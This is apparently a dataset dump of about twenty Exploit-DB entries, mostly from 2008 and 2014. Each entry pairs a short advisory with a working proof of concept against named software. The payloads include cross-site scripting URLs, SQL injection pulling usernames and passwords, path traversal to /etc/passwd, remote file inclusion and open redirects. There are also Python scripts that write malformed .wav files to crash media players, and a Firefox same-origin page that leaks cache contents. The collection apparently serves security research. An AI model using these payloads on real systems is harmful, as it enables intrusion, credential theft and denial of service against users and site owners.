QLWD/code_shield huggingface dataset:
标题: Habari 0.5.1 - 'habari_username' Cross-Site Scripting EDB-ID: 32492 CVE: 2008-4601 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/31794/info

Habari is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Habari 0.5.1 is affected; other versions may be vulnerable as well.

http://www.example.com/user/login/?habari_username=>"><script>alert("XSS Vuln")</script> URL: https://www.exploit-db.com/exploits/32492
标题: Microsoft Outlook Web Access for Exchange Server 2003 - 'redir.asp' Open Redirection EDB-ID: 32489 CVE: 2008-1547 类型: REMOTE 平台: WINDOWS 发布日期: 2008-10-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/31765/info

Outlook Web Access is prone to a remote URI-redirection vulnerability because the application fails to properly sanitize user-supplied input.

A successful exploit may aid in phishing attacks.

OWA 6.5 SP 2 is vulnerable; other versions may also be affected. 

https://webmail.example.com/exchweb/bin/redir.asp?URL=http://www.example2.com

https://webmail.example.com/CookieAuth.dll?GetLogon?url=%2Fexchweb%2Fbin%2Fredir.asp%3FURL%3Dhttp%3A%2F%2Fwww.example2.com&reason=0 URL: https://www.exploit-db.com/exploits/32489
标题: Elxis CMS 2008.1 - PHPSESSID Variable Session Fixation EDB-ID: 32488 CVE: 2008-4649 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/31764/info
 
Elxis CMS is prone to multiple cross-site scripting and session-fixation vulnerabilities because it fails to sufficiently sanitize user-supplied data. The application is also prone to a session-fixation vulnerability.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
Using the session-fixation issue, the attacker can hijack the session and gain unauthorized access to the affected application.
 
Elxis CMS 2006.1 is vulnerable; other versions may also be affected.

http://www.site.com/?PHPSESSID=[session_fixation] URL: https://www.exploit-db.com/exploits/32488
标题: jetVideo 8.1.1 - Basic '.wav' Local Crash (PoC) EDB-ID: 32478 CVE: 2014-2671 类型: DOS 平台: WINDOWS 发布日期: 2014-03-24 漏洞利用脚本: #!/usr/bin/python

#[+] Author: TUNISIAN CYBER
#[+] Exploit Title: jetVideo 8.1.1 Basic (.wav) Local Crash PoC
#[+] Date: 22-03-2014
#[+] Category: DoS/PoC
#[+] Tested on: WinXp/Windows 7 Pro
#[+] Vendor: http://www.jetaudio.com/download/jetvideo.html
#[+] Friendly Sites: na3il.com,th3-creative.com
#[+] Twitter: @TCYB3R
 
import os
os.system("color 02")

print"###########################################################"
print"#  Title: Light jetVideo 8.1.1 Basic (.wav) Local Crash PoC#"
print"#  Author: TUNISIAN CYBER                                  #"
print"#  Category: DoS/PoC                                       # "
print"###########################################################"
 
header=("\x2E\x73\x6E\x64\x00\x00\x01\x18\x00\x00\x42\xDC\x00\x00\x00\x01"
"\x00\x00\x1F\x40\x00\x00\x00\x00\x69\x61\x70\x65\x74\x75\x73\x2E"
"\x61\x75\x00\x20\x22\x69\x61\x70\x65\x74\x75\x73\x2E\x61\x75\x22"
"\x00\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
 
filename = "jet.wav"
file = open(filename , "w")
file.write(header)
print "\n Files Created!\n"
file.close() URL: https://www.exploit-db.com/exploits/32478
标题: Elxis CMS 2008.1 - '/modules/mod_language.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 32487 CVE: 2008-4648 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/31764/info

Elxis CMS is prone to multiple cross-site scripting and session-fixation vulnerabilities because it fails to sufficiently sanitize user-supplied data. The application is also prone to a session-fixation vulnerability.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Using the session-fixation issue, the attacker can hijack the session and gain unauthorized access to the affected application.

Elxis CMS 2006.1 is vulnerable; other versions may also be affected.

http://www.example.net/index.php?>"><script>alert("XSS Vuln")</script>
http://www.example.net/index.php?option=>"><script>alert("XSS Vuln")</script>
http://www.example.net/index.php?option=com_poll&Itemid=>"><script>alert("XSS Vuln")</script>
http://www.example.net/index.php?option=com_poll&task=view&id=>"><script>alert("XSS Vuln")</script>
http://www.example.net/index.php?option=com_poll&Itemid=1&task=>"><script>alert("XSS Vuln")</script>
http://www.example.net/index.php?option=com_poll&task=view&bid=>"><script>alert("XSS Vuln")</script>
http://www.example.net/index.php?option=com_poll&Itemid=1&task=view&contact_id=>"><script>alert("XSS Vuln")</script> URL: https://www.exploit-db.com/exploits/32487
标题: Light Audio Player 1.0.14 - Memory Corruption (PoC) EDB-ID: 32481 CVE: 2014-2671 类型: DOS 平台: WINDOWS 发布日期: 2014-03-24 漏洞利用脚本: #!/usr/bin/python

#[+] Author: TUNISIAN CYBER
#[+] Exploit Title: Light Audio Player 1.0.14 Memory Corruption PoC
#[+] Date: 22-03-2014
#[+] Category: DoS/PoC
#[+] Tested on: WinXp/Windows 7 Pro
#[+] Vendor: http://download.cnet.com/Light-Audio-Player/3000-2139_4-10791618.html
#[+] Friendly Sites: na3il.com,th3-creative.com
#[+] Twitter: @TCYB3R
 
import os
os.system("color 02")

print"###########################################################"
print"#  Title: Light Audio Player 1.0.14 Memory Corruption PoC  #"
print"#  Author: TUNISIAN CYBER                                  #"
print"#  Category: DoS/PoC                                       # "
print"###########################################################"
 
header=("\x2E\x73\x6E\x64\x00\x00\x01\x18\x00\x00\x42\xDC\x00\x00\x00\x01"
"\x00\x00\x1F\x40\x00\x00\x00\x00\x69\x61\x70\x65\x74\x75\x73\x2E"
"\x61\x75\x00\x20\x22\x69\x61\x70\x65\x74\x75\x73\x2E\x61\x75\x22"
"\x00\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
 
filename = "3vil.wav"
file = open(filename , "w")
file.write(header)
print "\n Files Created!\n"
file.close() URL: https://www.exploit-db.com/exploits/32481
标题: ASP Indir Iltaweb Alisveris Sistemi - 'xurunler.asp' SQL Injection EDB-ID: 32485 CVE: 2008-5707 类型: WEBAPPS 平台: ASP 发布日期: 2008-10-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/31740/info

ASP Indir Iltaweb Alisveris Sistemi is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/urunler.asp?catno=1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13 from users URL: https://www.exploit-db.com/exploits/32485
标题: GOM Media Player (GOMMP) 2.2.56.5183 - Memory Corruption (PoC) EDB-ID: 32482 CVE: 2014-2671 类型: DOS 平台: WINDOWS 发布日期: 2014-03-24 漏洞利用脚本: #!/usr/bin/python

#[+] Author: TUNISIAN CYBER
#[+] Exploit Title: GOMMP 2.2.56.5183 Memory Corruption PoC
#[+] Date: 22-03-2014
#[+] Category: DoS/PoC
#[+] Tested on: WinXp/Windows 7 Pro
#[+] Vendor: http://player.gomlab.com/eng/
#[+] Friendly Sites: na3il.com,th3-creative.com
#[+] Twitter: @TCYB3R
 

print"###########################################################"
print"#  Title: GOMMP 2.2.56.5183 Memory Corruption PoC          #"
print"#  Author: TUNISIAN CYBER                                  #"
print"#  Category: DoS/PoC                                       # "
print"###########################################################"
 
 
header=("\x2E\x73\x6E\x64\x00\x00\x01\x18\x00\x00\x42\xDC\x00\x00\x00\x01"
"\x00\x00\x1F\x40\x00\x00\x00\x00\x69\x61\x70\x65\x74\x75\x73\x2E"
"\x61\x75\x00\x20\x22\x69\x61\x70\x65\x74\x75\x73\x2E\x61\x75\x22"
"\x00\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
 
filename = "3vil.wav"
file = open(filename , "w")
file.write(header)
print "\n Done!\n"
file.close() URL: https://www.exploit-db.com/exploits/32482
标题: BigDump 0.35b - Arbitrary File Upload EDB-ID: 32479 CVE: 2008-6660 类型: WEBAPPS 平台: PHP 发布日期: 2014-03-24 漏洞利用脚本: [+] Arbitrary Upload on BigDump v0.35b
[+] Date: 23/03/2014
[+] Risk: High
[+] Author: Felipe Andrian Peixoto
[+] Vendor Homepage: http://www.ozerov.de/bigdump/
[+] Contact: felipe_andrian@hotmail.com
[+] Tested on: Windows 7 and Linux
[+] Vulnerable File: bigdump.php
[+] Version: v0.35b
[+] Exploit : http://host/bigdump.php?start= 
[+] PoC: http://SERVER/bigdump.php?start=

Note: allows upload files and shells with tamperdate. URL: https://www.exploit-db.com/exploits/32479
标题: GOM Video Converter 1.1.0.60 - '.wav' Memory Corruption (PoC) EDB-ID: 32483 CVE: 2014-2671 类型: DOS 平台: WINDOWS 发布日期: 2014-03-24 漏洞利用脚本: #!/usr/bin/python

#[+] Author: TUNISIAN CYBER
#[+] Exploit Title: GOM Video Converter 1.1.0.60 Memory Corruption PoC
#[+] Date: 22-03-2014
#[+] Category: DoS/PoC
#[+] Tested on: WinXp/Windows 7 Pro
#[+] Vendor: http://converter.gomlab.com/
#[+] Friendly Sites: na3il.com,th3-creative.com
#[+] Twitter: @TCYB3R
 

print"###########################################################"
print"#  Title: GOMVC 1.1.0.60 Memory Corruption PoC             #"
print"#  Author: TUNISIAN CYBER                                  #"
print"#  Category: DoS/PoC                                       # "
print"###########################################################"
 
 
header=("\x2E\x73\x6E\x64\x00\x00\x01\x18\x00\x00\x42\xDC\x00\x00\x00\x01"
"\x00\x00\x1F\x40\x00\x00\x00\x00\x69\x61\x70\x65\x74\x75\x73\x2E"
"\x61\x75\x00\x20\x22\x69\x61\x70\x65\x74\x75\x73\x2E\x61\x75\x22"
"\x00\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
 
filename = "3vil.wav"
file = open(filename , "w")
file.write(header)
print "\n Done!\n"
file.close() URL: https://www.exploit-db.com/exploits/32483
标题: Microsoft Windows Media Player 11.0.5721.5230 - Memory Corruption (PoC) EDB-ID: 32477 CVE: 2014-2671 类型: DOS 平台: WINDOWS 发布日期: 2014-03-24 漏洞利用脚本: #!/usr/bin/python

#[+] Author: TUNISIAN CYBER
#[+] Exploit Title: Windows Media Player 11.0.5721.5230 Memory Corruption PoC
#[+] Date: 22-03-2014
#[+] Category: DoS/PoC
#[+] Tested on: WinXp/Windows 7 Pro
#[+] Vendor: http://windows.microsoft.com/fr-FR/windows/windows-media-player
#[+] Friendly Sites: na3il.com,th3-creative.com
#[+] Twitter: @TCYB3R
 
import os
os.system("color 02")

print"###########################################################"
print"#  Title: WMP 11.0.5721.5230 Memory Corruption PoC         #"
print"#  Author: TUNISIAN CYBER                                  #"
print"#  Category: DoS/PoC                                       # "
print"###########################################################"
 
header=("\x2E\x73\x6E\x64\x00\x00\x01\x18\x00\x00\x42\xDC\x00\x00\x00\x01"
"\x00\x00\x1F\x40\x00\x00\x00\x00\x69\x61\x70\x65\x74\x75\x73\x2E"
"\x61\x75\x00\x20\x22\x69\x61\x70\x65\x74\x75\x73\x2E\x61\x75\x22"
"\x00\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
 
filename = "ms.wav"
file = open(filename , "w")
file.write(header)
print "\n Files Created!\n"
file.close() URL: https://www.exploit-db.com/exploits/32477
标题: Opera Web Browser 8.51 - URI redirection Remote Code Execution EDB-ID: 32467 CVE: 2008-4694 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/31631/info

Opera Web Browser is prone to a remote code-execution vulnerability.

Successfully exploiting this issue will allow attackers to execute arbitrary code within the context of the affected application or cause a denial-of-service condition.

NOTE: The security-bypass issue has been reassigned to BID 31643 (Opera Cached Java Applet Privilege Escalation Vulnerability).

Versions prior to Opera 9.60 are vulnerable. 

http://BBB...BBB:password@example.com URL: https://www.exploit-db.com/exploits/32467
标题: AmpJuke 0.7.5 - 'index.php' SQL Injection EDB-ID: 32461 CVE: 2008-4525 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/31592/info

AmpJuke is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

AmpJuke 0.7.5 is vulnerable; other versions may also be affected. 

http://www.example.com/ampjukedemo/index.php?what=performerid&start=0&count='20&special=-2/**/UNION/**/SELECT/**/1,concat(name,0x3A7C3A,password)/**/FROM/**/user/**/WHERE/**/id=1/* URL: https://www.exploit-db.com/exploits/32461
标题: PHP Web Explorer 0.99b - 'edit.php?File' Traversal Local File Inclusion EDB-ID: 32464 CVE: 2008-4499 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/31595/info
 
PHP Web Explorer is prone to multiple local file-include vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker can exploit these vulnerabilities using directory-traversal strings to view local files and execute local scripts within the context of the webserver process. A successful attack can allow the attacker to obtain sensitive information or gain unauthorized access to an affected computer in the context of the vulnerable server.
 
PHP Web Explorer 0.99b is vulnerable; other versions may also be affected. 

http://www.example.com/edit.php?file=../../../etc/passwd URL: https://www.exploit-db.com/exploits/32464
标题: PHP Web Explorer 0.99b - 'main.php?refer' Traversal Local File Inclusion EDB-ID: 32463 CVE: 2008-4499 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/31595/info

PHP Web Explorer is prone to multiple local file-include vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker can exploit these vulnerabilities using directory-traversal strings to view local files and execute local scripts within the context of the webserver process. A successful attack can allow the attacker to obtain sensitive information or gain unauthorized access to an affected computer in the context of the vulnerable server.

PHP Web Explorer 0.99b is vulnerable; other versions may also be affected. 

http://www.example.com/main.php?refer=d&d=../../../etc URL: https://www.exploit-db.com/exploits/32463
标题: Proxim Tsunami MP.11 2411 Wireless Access Point - 'system.sysName.0' SNMP HTML Injection EDB-ID: 32469 CVE: 2008-5869 类型: REMOTE 平台: HARDWARE 发布日期: 2008-10-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/31666/info

The Proxim Tsunami MP.11 2411 Wireless Access Point is prone to an HTML-injection vulnerability because it fails to sufficiently sanitize user-supplied input data.

Attacker-supplied HTML and script code would run in the context of the web interface of the affected device, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user; other attacks are also possible.

This issue is reported in the Tsunami MP.11 Model 2411; additional products may also be vulnerable.

$ snmpset -v1 -c public 192.168.1.100 sysName.0 s&#039;"><script>alert(1)</script>&#039; URL: https://www.exploit-db.com/exploits/32469
标题: VeriSign Kontiki Delivery Management System 5.0 - 'action' Cross-Site Scripting EDB-ID: 32459 CVE: 2008-4393 类型: WEBAPPS 平台: JAVA 发布日期: 2008-10-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/31580/info

Kontiki Delivery Management System is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Kontiki Delivery Management System 5.0 and prior versions are vulnerable.

http://www.example.com/zodiac/servlet/zodiac?action=%3Cscript%3Ealert(document.cookie)%3C/script%3E URL: https://www.exploit-db.com/exploits/32459
标题: Mozilla Firefox 3.0.3 - Internet Shortcut Same Origin Policy Violation EDB-ID: 32466 CVE: 2008-4582 类型: REMOTE 平台: MULTIPLE 发布日期: 2008-10-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/31611/info

Mozilla Firefox is prone to a vulnerability that allows attackers to violate the same-origin policy. This issue occurs because the application fails to properly enforce the same-origin policy when handling internet shortcut files.

An attacker may create a malicious webpage that can access the properties of another domain. This may allow the attacker to obtain sensitive information or launch other attacks against a user of the browser.

Firefox 3.0.1 through 3.0.3 for Microsoft Windows are vulnerable; other versions may also be affected. 

'testurl1.url':
[InternetShortcut]
URL=about:cache?device=memory
IDList=
[{000214A0-0000-0000-C000-000000000046}]
Prop3=19,2

'testurl2.url':
[InternetShortcut]
URL=about:cache?device=disk
IDList=
[{000214A0-0000-0000-C000-000000000046}]
Prop3=19,2 


<script> function a() { s=""; h=""; for(i=0;i<window.frames.length;i++) { d=window.frames[i].document; for(j=0;j<d.links.length;j++) { u=d.links[j].text s+=u+"\n"; h+="<img src=\""+u+"\">"; } } document.getElementById("t").value=s; document.getElementById("x").innerHTML=h; } </script> <a href="javascript:a();">Start Test</a><br> <a href="javascript:window.location=location.href">Load This Page Again</a><br> <br> <br> <b>List of files that you recently fetched from the internet:</b><br> <textarea rows="10" cols="100" id=t wrap=off>&lt;/textarea&gt; <br> <br> <b>List of images that you recently viewed on the internet:</b><br> <div id=x></div> <br> <br> <iframe width=300 height=200 src="testurl1.url"></iframe> <iframe width=300 height=200 src="testurl2.url"></iframe> URL: https://www.exploit-db.com/exploits/32466
标题: Linux Kernel (Fedora 8/9) - 'utrace_control' Null Pointer Dereference Denial of Service EDB-ID: 32451 CVE: 2008-3832 类型: DOS 平台: LINUX 发布日期: 2008-10-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/31536/info

Fedora 8 and 9 Linux kernel is prone to a local denial-of-service vulnerability.

Attackers can exploit this issue to crash the affected kernel, denying service to legitimate users. Given the nature of this issue, attackers may also be able to execute arbitrary code, but this has not been confirmed.

Note that this issue does not affect upstream kernel versions. Only the following Fedora distributions are affected:

Fedora 8 prior to kernel-2.6.26.5-28
Fedora 9 prior to kernel-2.6.26.5-45

An attacker can exploit this issue with readily available tools.

The following 'gdb' command is sufficient to trigger a kernel crash:

gdb any_executable 1 URL: https://www.exploit-db.com/exploits/32451
标题: A4Desk Event Calendar - 'v' Remote File Inclusion EDB-ID: 32447 CVE: 2008-6103 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/31507/info

A4Desk Event Calendar is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible. 

http://www.example.com/[path]/index.php?date=&v=http://www.example2.com URL: https://www.exploit-db.com/exploits/32447
标题: Celoxis - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 32448 CVE: 2008-6094 类型: WEBAPPS 平台: JAVA 发布日期: 2008-10-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/31514/info

Celoxis is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/psa/user.do?bxn=umyhome&message=XSS+goes+here+%3cscript%3ealert('XSS')%3c/script%3e URL: https://www.exploit-db.com/exploits/32448